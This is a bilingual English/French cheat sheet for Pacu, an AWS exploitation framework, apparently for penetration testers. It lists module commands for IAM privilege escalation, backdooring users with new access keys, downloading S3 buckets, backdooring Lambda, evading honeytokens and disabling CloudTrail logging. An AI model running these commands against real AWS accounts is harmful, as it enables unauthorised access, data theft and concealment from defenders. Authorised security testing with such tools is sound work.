Pacu
Framework d'exploitation AWS. Énumère et exploite les environnements AWS : mauvaises configurations IAM, élévation de privilèges, exfiltration de données S3, et persistance. AWS exploitation framework. Enumerates and exploits AWS environments: IAM misconfigs, privilege escalation, S3 data exfiltration, and persistence.
↗ https://github.com/RhinoSecurityLabs/pacuOverview
Pacu is an AWS exploitation framework built by Rhino Security Labs. It provides a Metasploit-like interface for testing AWS environments, covering IAM privilege escalation, S3 bucket enumeration, Lambda function analysis, EC2 instance compromise, and more.
Installation & Setup
# Install
pip3 install pacu
# or
git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu
pip3 install -r requirements.txt
# Start Pacu
python3 pacu.py
# or
pacu
Session Management
Pacu uses “sessions” with associated AWS keys
Pacu (no session) > new_session pentest_engagement
# Set AWS credentials for current session
Pacu (pentest) > set_keys
> Key Alias: compromised-user
> Access Key ID: AKIAIOSFODNN7EXAMPLE
> Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
> Session Token: (leave blank if not using STS)
# Verify current identity
Pacu (pentest) > run iam__detect_honeytokens
Pacu (pentest) > whoami
Enumeration
Enumerate IAM users, roles, policies, and groups
Pacu > run iam__enum_users_roles_policies_groups
Enumerate all EC2 resources
Pacu > run ec2__enum
Enumerate S3 buckets and their ACLs
Pacu > run s3__enum_bucket_ACLs
Enumerate Lambda functions
Pacu > run lambda__enum
Enumerate RDS instances
Pacu > run rds__enum
Enumerate CloudTrail (for OpSec awareness)
Pacu > run cloudtrail__enum
Enumerate all services
Pacu > run enum__services
IAM Privilege Escalation
Check for privilege escalation paths
Pacu > run iam__privesc_scan
# Common privesc paths:
# - iam:CreatePolicyVersion (replace policy with admin policy)
# - iam:SetDefaultPolicyVersion (switch to older admin version)
# - iam:AttachUserPolicy (attach admin policy to self)
# - iam:CreateAccessKey (create key for admin user)
# - iam:UpdateAssumeRolePolicy (assume privileged role)
# - lambda:CreateFunction + passRole → execute as role
Create a new access key for a target IAM user
Pacu > run iam__backdoor_users_keys --usernames admin,backup-user
S3 Attacks
Download all readable S3 objects
Pacu > run s3__download_bucket --bucket-name target-bucket
Enumerate bucket ACLs
Pacu > run s3__enum_bucket_ACLs
Backdoor Lambda via S3 (if bucket is source)
Pacu > run lambda__backdoor_new_roles
Persistence
Backdoor IAM users with additional access keys
Pacu > run iam__backdoor_users_keys
Create a new IAM admin user
Pacu > run iam__backdoor_assume_role
Add backdoor to Lambda function
Pacu > run lambda__backdoor_new_roles
Operational Security
Check if credentials are honeytokens
Pacu > run iam__detect_honeytokens
Identify CloudTrail logging gaps
Pacu > run cloudtrail__download_event_history
Disable CloudTrail (destructive — use with care)
Pacu > run cloudtrail__disable_logging
Tips
- Always run
iam__detect_honeytokensfirst — some keys are canaries that alert defenders iam__privesc_scanis the most valuable module for privilege escalation paths- Pacu logs all API calls — useful for generating reports but creates CloudTrail events
- Use
--regionsflag to target specific AWS regions and reduce noise
Key modules reference
Enumeration:
iam__enum_users_roles_policies_groups
ec2__enum
s3__enum_bucket_ACLs
lambda__enum
rds__enum
cloudtrail__enum
enum__services
Privilege Escalation:
iam__privesc_scan
iam__backdoor_users_keys
iam__backdoor_assume_role
Exfiltration:
s3__download_bucket
ec2__download_userdata
Persistence:
lambda__backdoor_new_roles
iam__backdoor_users_keys
OPSEC:
iam__detect_honeytokens
cloudtrail__download_event_history
cloudtrail__disable_logging
Vue d’ensemble
Pacu est un framework d’exploitation AWS construit par Rhino Security Labs. Il fournit une interface façon Metasploit pour tester les environnements AWS, couvrant l’élévation de privilèges IAM, l’énumération de buckets S3, l’analyse de fonctions Lambda, la compromission d’instances EC2, et plus.
Installation et configuration
# Installer
pip3 install pacu
# ou
git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu
pip3 install -r requirements.txt
# Démarrer Pacu
python3 pacu.py
# ou
pacu
Gestion de session
Pacu utilise des « sessions » associées à des clés AWS
Pacu (no session) > new_session pentest_engagement
# Définir les credentials AWS pour la session courante
Pacu (pentest) > set_keys
> Key Alias: compromised-user
> Access Key ID: AKIAIOSFODNN7EXAMPLE
> Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
> Session Token: (laisser vide si STS non utilisé)
# Vérifier l'identité courante
Pacu (pentest) > run iam__detect_honeytokens
Pacu (pentest) > whoami
Énumération
# Énumérer les utilisateurs, rôles, politiques et groupes IAM
Pacu > run iam__enum_users_roles_policies_groups
# Énumérer toutes les ressources EC2
Pacu > run ec2__enum
# Énumérer les buckets S3 et leurs ACL
Pacu > run s3__enum_bucket_ACLs
# Énumérer les fonctions Lambda
Pacu > run lambda__enum
# Énumérer les instances RDS
Pacu > run rds__enum
# Énumérer CloudTrail (pour la connaissance OpSec)
Pacu > run cloudtrail__enum
# Énumérer tous les services
Pacu > run enum__services
Élévation de privilèges IAM
# Vérifier les chemins d'élévation de privilèges
Pacu > run iam__privesc_scan
# Chemins d'élévation courants :
# - iam:CreatePolicyVersion (remplacer la politique par une politique admin)
# - iam:SetDefaultPolicyVersion (basculer vers une ancienne version admin)
# - iam:AttachUserPolicy (attacher une politique admin à soi-même)
# - iam:CreateAccessKey (créer une clé pour un utilisateur admin)
# - iam:UpdateAssumeRolePolicy (assumer un rôle privilégié)
# - lambda:CreateFunction + passRole -> exécuter en tant que le rôle
Créer une nouvelle clé d’accès pour un utilisateur IAM cible
Pacu > run iam__backdoor_users_keys --usernames admin,backup-user
Attaques S3
# Télécharger tous les objets S3 lisibles
Pacu > run s3__download_bucket --bucket-name target-bucket
# Énumérer les ACL de buckets
Pacu > run s3__enum_bucket_ACLs
# Backdoorer Lambda via S3 (si le bucket est la source)
Pacu > run lambda__backdoor_new_roles
Persistance
# Backdoorer les utilisateurs IAM avec des clés d'accès supplémentaires
Pacu > run iam__backdoor_users_keys
# Créer un nouvel utilisateur admin IAM
Pacu > run iam__backdoor_assume_role
# Ajouter une backdoor à une fonction Lambda
Pacu > run lambda__backdoor_new_roles
Sécurité opérationnelle
# Vérifier si les credentials sont des honeytokens
Pacu > run iam__detect_honeytokens
# Identifier les lacunes de journalisation CloudTrail
Pacu > run cloudtrail__download_event_history
# Désactiver CloudTrail (destructif : à utiliser avec précaution)
Pacu > run cloudtrail__disable_logging
Conseils
- Toujours lancer
iam__detect_honeytokensen premier : certaines clés sont des canaris qui alertent les défenseurs iam__privesc_scanest le module le plus précieux pour les chemins d’élévation de privilèges- Pacu journalise tous les appels API : utile pour générer des rapports mais génère des événements CloudTrail
- Utiliser le flag
--regionspour cibler des régions AWS spécifiques et réduire le bruit
Référence des modules clés
Enumeration:
iam__enum_users_roles_policies_groups
ec2__enum
s3__enum_bucket_ACLs
lambda__enum
rds__enum
cloudtrail__enum
enum__services
Privilege Escalation:
iam__privesc_scan
iam__backdoor_users_keys
iam__backdoor_assume_role
Exfiltration:
s3__download_bucket
ec2__download_userdata
Persistence:
lambda__backdoor_new_roles
iam__backdoor_users_keys
OPSEC:
iam__detect_honeytokens
cloudtrail__download_event_history
cloudtrail__disable_logging